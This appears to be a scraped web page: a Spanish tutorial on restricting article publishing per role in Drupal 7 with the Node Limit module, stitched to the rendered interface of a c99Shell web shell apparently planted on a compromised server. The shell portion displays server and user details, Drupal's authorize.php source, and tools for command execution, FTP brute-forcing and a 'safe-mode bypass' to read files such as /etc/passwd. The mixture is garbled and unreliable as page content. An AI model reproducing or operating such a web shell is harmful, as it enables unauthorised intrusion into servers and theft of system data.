Subir

Restringir número de contenidos a publicar en Drupal 7

Asignar límites a los usuarios

En este supuesto, necesitamos limitar a un rol en concreto para que no pueda publicar más que 2 contenidos, por ejemplo artículos.

Para ello, vamos a instalar un módulo llamado Node Limit.

Pues vamos entonces, lo descargamos, instalamos y activamos como de costumbre.

A parte de activar Node limit, para obtener la funcionalidad que requeríamos al inicio del supuesto, podemos activar diferentes opciones como por ejemplo: poner límite a un tipo de contenido, a todos los usuarios de un rol, a un usuario individual, a cada usuario de un rol determinado

Guardamos.

Para configurar nuestra opción, vamos a Menú Administración/Estructura/Node Limit, y añadimos un nuevo límite. (ponemos el número al que limitamos, obviamente 0 es cero nodos, y -1 ilimitado, en nuestro caso ponemos 2).
Activamos Rol y seleccionos el tipo de usuario a limitar
Activamos Tipo de Contenido y seleccionamos Artículo (en este caso)

Guardamos

Con esto ya tenemos configurado nuestro límite y podemos ver la cantidad de posibilidades que nos permite el módulo

Temas blog: 
Imagen de rummykhan
SOBRE EL AUTOR

Experto en desarrollo de portales web, comercio electrónico y seo.

Añadir nuevo comentario

Filtered HTML

  • Las direcciones de las páginas web y las de correo se convierten en enlaces automáticamente.
  • Etiquetas HTML permitidas: <a> <em> <strong> <cite> <blockquote> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Saltos automáticos de líneas y de párrafos.

Plain text

  • No se permiten etiquetas HTML.
  • Las direcciones de las páginas web y las de correo se convierten en enlaces automáticamente.
  • Saltos automáticos de líneas y de párrafos.
laranikita.es - phpshell

!c99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.3.3 

uname -a: Linux abretutiendaonline.com 2.6.32-042stab134.3 #1 SMP Sun Oct 14 12:26:01 MSK 2018
x86_64
 

uid=48(apache) gid=48(apache) groups=48(apache),502(psaserv),508(psasb) 

Safe-mode: OFF (not secure)

/var/www/vhosts/abretutiendaonline.com/httpdocs/   drwxr-xr-x
Free 35.42 GB of 49.09 GB (72.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     authorize.php (6.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @file
 * Administrative script for running authorized file operations.
 *
 * Using this script, the site owner (the user actually owning the files on the
 * webserver) can authorize certain file-related operations to proceed with
 * elevated privileges, for example to deploy and upgrade modules or themes.
 * Users should not visit this page directly, but instead use an administrative
 * user interface which knows how to redirect the user to this script as part of
 * a multistep process. This script actually performs the selected operations
 * without loading all of Drupal, to be able to more gracefully recover from
 * errors. Access to the script is controlled by a global killswitch in
 * settings.php ('allow_authorize_operations') and via the 'administer software
 * updates' permission.
 *
 * There are helper functions for setting up an operation to run via this
 * system in modules/system/system.module. For more information, see:
 * @link authorize Authorized operation helper functions @endlink
 */

/**
 * Defines the root directory of the Drupal installation.
 */
define('DRUPAL_ROOT'getcwd());

/**
 * Global flag to identify update.php and authorize.php runs.
 *
 * Identifies update.php and authorize.php runs, avoiding unwanted operations
 * such as hook_init() and hook_exit() invokes, css/js preprocessing and
 * translation, and solves some theming issues. The flag is checked in other
 * places in Drupal code (not just authorize.php).
 */
define('MAINTENANCE_MODE''update');

/**
 * Renders a 403 access denied page for authorize.php.
 */
function authorize_access_denied_page() {
  
drupal_add_http_header('Status''403 Forbidden');
  
watchdog('access denied''authorize.php'NULLWATCHDOG_WARNING);
  
drupal_set_title('Access denied');
  return 
t('You are not allowed to access this page.');
}

/**
 * Determines if the current user is allowed to run authorize.php.
 *
 * The killswitch in settings.php overrides all else, otherwise, the user must
 * have access to the 'administer software updates' permission.
 *
 * @return
 *   TRUE if the current user can run authorize.php, and FALSE if not.
 */
function authorize_access_allowed() {
  return 
variable_get('allow_authorize_operations'TRUE) && user_access('administer software updates');
}

// *** Real work of the script begins here. ***

require_once DRUPAL_ROOT '/includes/bootstrap.inc';
require_once 
DRUPAL_ROOT '/includes/common.inc';
require_once 
DRUPAL_ROOT '/includes/file.inc';
require_once 
DRUPAL_ROOT '/includes/module.inc';
require_once 
DRUPAL_ROOT '/includes/ajax.inc';

// We prepare only a minimal bootstrap. This includes the database and
// variables, however, so we have access to the class autoloader registry.
drupal_bootstrap(DRUPAL_BOOTSTRAP_SESSION);

// This must go after drupal_bootstrap(), which unsets globals!
global $conf;

// We have to enable the user and system modules, even to check access and
// display errors via the maintenance theme.
$module_list['system']['filename'] = 'modules/system/system.module';
$module_list['user']['filename'] = 'modules/user/user.module';
module_list(TRUEFALSEFALSE$module_list);
drupal_load('module''system');
drupal_load('module''user');

// We also want to have the language system available, but we do *NOT* want to
// actually call drupal_bootstrap(DRUPAL_BOOTSTRAP_LANGUAGE), since that would
// also force us through the DRUPAL_BOOTSTRAP_PAGE_HEADER phase, which loads
// all the modules, and that's exactly what we're trying to avoid.
drupal_language_initialize();

// Initialize the maintenance theme for this administrative script.
drupal_maintenance_theme();

$output '';
$show_messages TRUE;

if (
authorize_access_allowed()) {
  
// Load both the Form API and Batch API.
  
require_once DRUPAL_ROOT '/includes/form.inc';
  require_once 
DRUPAL_ROOT '/includes/batch.inc';
  
// Load the code that drives the authorize process.
  
require_once DRUPAL_ROOT '/includes/authorize.inc';

  
// For the sake of Batch API and a few other low-level functions, we need to
  // initialize the URL path into $_GET['q']. However, we do not want to raise
  // our bootstrap level, nor do we want to call drupal_initialize_path(),
  // since that is assuming that modules are loaded and invoking hooks.
  // However, all we really care is if we're in the middle of a batch, in which
  // case $_GET['q'] will already be set, we just initialize it to an empty
  // string if it's not already defined.
  
if (!isset($_GET['q'])) {
    
$_GET['q'] = '';
  }

  if (isset(
$_SESSION['authorize_operation']['page_title'])) {
    
drupal_set_title($_SESSION['authorize_operation']['page_title']);
  }
  else {
    
drupal_set_title(t('Authorize file system changes'));
  }

  
// See if we've run the operation and need to display a report.
  
if (isset($_SESSION['authorize_results']) && $results $_SESSION['authorize_results']) {

    
// Clear the session out.
    
unset($_SESSION['authorize_results']);
    unset(
$_SESSION['authorize_operation']);
    unset(
$_SESSION['authorize_filetransfer_info']);

    if (!empty(
$results['page_title'])) {
      
drupal_set_title($results['page_title']);
    }
    if (!empty(
$results['page_message'])) {
      
drupal_set_message($results['page_message']['message'], $results['page_message']['type']);
    }

    
$output theme('authorize_report', array('messages' => $results['messages']));

    
$links = array();
    if (
is_array($results['tasks'])) {
      
$links += $results['tasks'];
    }
    else {
      
$links array_merge($links, array(
        
l(t('Administration pages'), 'admin'),
        
l(t('Front page'), '<front>'),
      ));
    }

    
$output .= theme('item_list', array('items' => $links'title' => t('Next steps')));
  }
  
// If a batch is running, let it run.
  
elseif (isset($_GET['batch'])) {
    
$output _batch_page();
  }
  else {
    if (empty(
$_SESSION['authorize_operation']) || empty($_SESSION['authorize_filetransfer_info'])) {
      
$output t('It appears you have reached this page in error.');
    }
    elseif (!
$batch batch_get()) {
      
// We have a batch to process, show the filetransfer form.
      
$elements drupal_get_form('authorize_filetransfer_form');
      
$output drupal_render($elements);
    }
  }
  
// We defer the display of messages until all operations are done.
  
$show_messages = !(($batch batch_get()) && isset($batch['running']));
}
else {
  
$output authorize_access_denied_page();
}

if (!empty(
$output)) {
  print 
theme('update_page', array('content' => $output'show_messages' => $show_messages));
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0127 ]--